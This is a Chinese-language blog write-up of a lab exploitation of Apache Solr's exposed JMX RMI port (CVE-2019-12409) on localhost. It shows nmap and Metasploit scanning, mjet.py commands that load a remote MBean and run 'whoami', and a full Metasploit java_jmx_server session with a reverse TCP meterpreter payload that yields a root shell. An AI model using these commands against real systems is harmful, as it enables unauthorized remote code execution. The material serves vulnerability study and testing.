F1v3's Notes
0%

攻击JMX RMI

Posted on Edited on In
Symbols count in article: 2.1k Reading time ≈ 2 mins.

以 Apache Solr 远程代码执行(CVE-2019-12409)为例。

安装

下载 8.1.1 版本，结果发现在 solr.in.cmd 默认是 false ，只有在 solr.in.sh 默认才是 true，所以只有在 Linux 上才能触发。
image
image

在 bin 目录下运行 ./solr start 启动 solr
image

可以看到默认情况下 18983 是开启的
image

探测

扫描端口

1
nmap  -sV -p 18983 127.0.0.1

image

如果是未授权的话，可以直接连接

1
jconsole  127.0.0.1:18983

image

比较奇怪的是，用 msf 检测漏洞是否存在的时候，没有检测出来

1
use auxiliary/scanner/misc/java_rmi_server

image

用 nmap 脚本也没有检测出来

1
nmap --script=rmi-vuln-classloader -p 18983 127.0.0.1

image

尴尬….

利用

mjet

下载 mjet.py 脚本。
因为开启的 jmx 服务默认是不需要验证的，所以直接利用：

1
2
3
../jdk1.8/bin/java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 install passwd http://127.0.0.1:8000  8000

../jdk1.8/bin/java -jar jython-standalone-2.7.0.jar mjet.py 127.0.0.1 18983 command passwd "whoami"

image

msf

利用 exploit/multi/misc/java_jmx_server 模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
msf > use java/meterpreter/reverse_tcp
msf payload(java/meterpreter/reverse_tcp) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf payload(java/meterpreter/reverse_tcp) > set LPORT 4444
LPORT => 4444
msf payload(java/meterpreter/reverse_tcp) > use exploit/multi/misc/java_jmx_server
msf exploit(multi/misc/java_jmx_server) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(multi/misc/java_jmx_server) > set RPORT 18983
RPORT => 18983
msf exploit(multi/misc/java_jmx_server) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] 127.0.0.1:18983 - Using URL: http://0.0.0.0:8080/ka4B2HQsM
[*] 127.0.0.1:18983 - Local IP: http://172.16.65.171:8080/ka4B2HQsM
[*] 127.0.0.1:18983 - Sending RMI Header...
[*] 127.0.0.1:18983 - Discovering the JMXRMI endpoint...
[+] 127.0.0.1:18983 - JMXRMI endpoint on 127.0.1.1:18983
[*] 127.0.0.1:18983 - Proceeding with handshake...
[+] 127.0.0.1:18983 - Handshake with JMX MBean server on 127.0.1.1:18983
[*] 127.0.0.1:18983 - Loading payload...
[*] 127.0.0.1:18983 - Replied to request for mlet
[*] 127.0.0.1:18983 - Replied to request for payload JAR
[*] 127.0.0.1:18983 - Executing payload...
[*] 127.0.0.1:18983 - Replied to request for payload JAR
[*] Sending stage (53837 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:40740) at 2019-12-06 14:20:04 +0800

meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)

image

参考链接